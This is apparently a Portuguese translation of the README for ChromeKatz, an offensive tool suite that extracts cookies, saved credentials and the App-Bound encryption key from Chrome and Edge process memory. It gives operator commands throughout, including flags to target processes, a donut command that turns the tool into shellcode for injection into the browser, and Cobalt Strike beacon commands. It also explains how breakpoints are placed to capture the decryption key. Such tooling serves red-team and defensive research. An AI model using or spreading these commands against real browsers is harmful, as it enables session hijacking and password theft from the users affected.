
Despejar cookies e credenciais diretamente da memória do processo Chrome/Edge
O ChromeKatz é uma solução para extrair informações sensíveis da memória de navegadores baseados em Chromium. Por enquanto, o ChromeKatz consiste em três projetos:
O CookieKatz possui um executável, um Beacon Object File e um parser de minidump disponíveis. E para o ElevationKatz, executável e Beacon Object File.
O ElevationKatz agora é capaz de analisar os bancos de dados de cookies e credenciais da memória do navegador e descriptografá-los para você.
O CookieKatz foi completamente reformulado para usar um método muito mais robusto para encontrar os cookies! O novo método também suporta versões mais antigas do navegador. Agora existe uma nova flag /inject implementada no CookieKatz para derrotar a App-Bound Encryption em navegadores relevantes!
Preciso de um café, e meus gatos também precisam!
O CookieKatz é um projeto que permite aos operadores extrair cookies do Chrome, Edge ou Msedgewebview2 diretamente da memória do processo. Os navegadores baseados em Chromium carregam todos os seus cookies do banco de dados de cookies em disco na inicialização.
Os benefícios desta abordagem são*:
Essas afirmações ainda são verdadeiras em alguns navegadores/aplicações. Para as versões mais recentes do Chrome, você precisará injetar no processo. ... Ou usar o ElevationKatz
Instalações de navegador de 32 bits não são suportadas e builds de 32 bits do CookieKatz também não são suportadas.
Atualmente, apenas cookies regulares são extraídos. O Chromium armazena Partitioned Cookies em um local diferente e eles não estão incluídos na extração por enquanto.
Esta solução consiste em três projetos: CookieKatz, que é um executável PE, CookieKatz-BOF, que é uma versão em Beacon Object File, e CookieKatzMinidump, que é o parser de minidump.
NOTA! Ao escolher usar o PID como alvo, use os comandos /list ou cookie-katz-find, respectivamente, para escolher o subprocesso correto!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
O ElevationKatz permite que operadores extraiam a chave de criptografia do perfil do navegador da memória para permitir o acesso às informações sensíveis do usuário. Isso funciona iniciando um novo processo do navegador em estado suspenso, configurando breakpoints e extraindo a chave assim que o processo do navegador a recebe do serviço de elevação.
Os benefícios desta abordagem são:
O ElevationKatz iniciará um novo processo do navegador em estado suspenso e anexará um depurador a ele. Em seguida, ele fará a varredura na dll do navegador para encontrar a instrução onde o navegador retorna da chamada a os_crypt::DecryptAppBoundString e definirá um breakpoint imediatamente depois. Quando o breakpoint for atingido, a ferramenta extrairá a chave de criptografia da memória.
Existem dois tipos de breakpoints que o operador pode escolher: breakpoints de Software e de Hardware.
Além disso, para breakpoints de HW, existem duas maneiras suportadas para enumeração de threads: NtGetNextThread e CreateToolhelp32Snapshot. Breakpoints de SW não precisam de enumeração de threads e, portanto, a flag /tl32 não os afeta.
O novo parâmetro config pode ser usado para descriptografar automaticamente os bancos de dados de perfil. Isso utiliza a técnica de IHack4Falafel's para analisar os bancos de dados Cookie e Login Profile da memória do navegador, evitando tocar nos arquivos diretamente.
Nota: a extração só funciona com os breakpoints de HW, pois não consegui descobrir como limpar adequadamente os breakpoints de SW e rebobinar o RIP para evitar que o processo trave.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
Fiz um relatório para o projeto Chromium sobre o bug que o CredentialKatz explorava originalmente e eles o marcaram como "Won't fix" e disseram que não se importam se as credenciais permanecerem na memória.
De repente, eles corrigiram o bug exatamente da maneira que propus depois que a ferramenta foi publicada :3 https://issues.chromium.org/issues/352085708
Baixe a versão mais recente dos BOFs do ChromeKatz aqui. O arquivo zip inclui os BOFs compilados e o script CNA para executá-los.
Você pode compilar ambos os projetos no Visual Studio com a configuração Release ou Debug e plataforma x64.
A versão BOF foi desenvolvida com o template do Visual Studio do Cobalt Strike bof-vs. Isso significa que a configuração Debug para os *-BOFs gerará um exe em vez do arquivo COFF. Você pode ler mais sobre o uso do template do Visual Studio aqui.
Você pode compilar seu próprio BOF com nmake no x64 Native Tools Command Prompt for VS 2022:
nmake all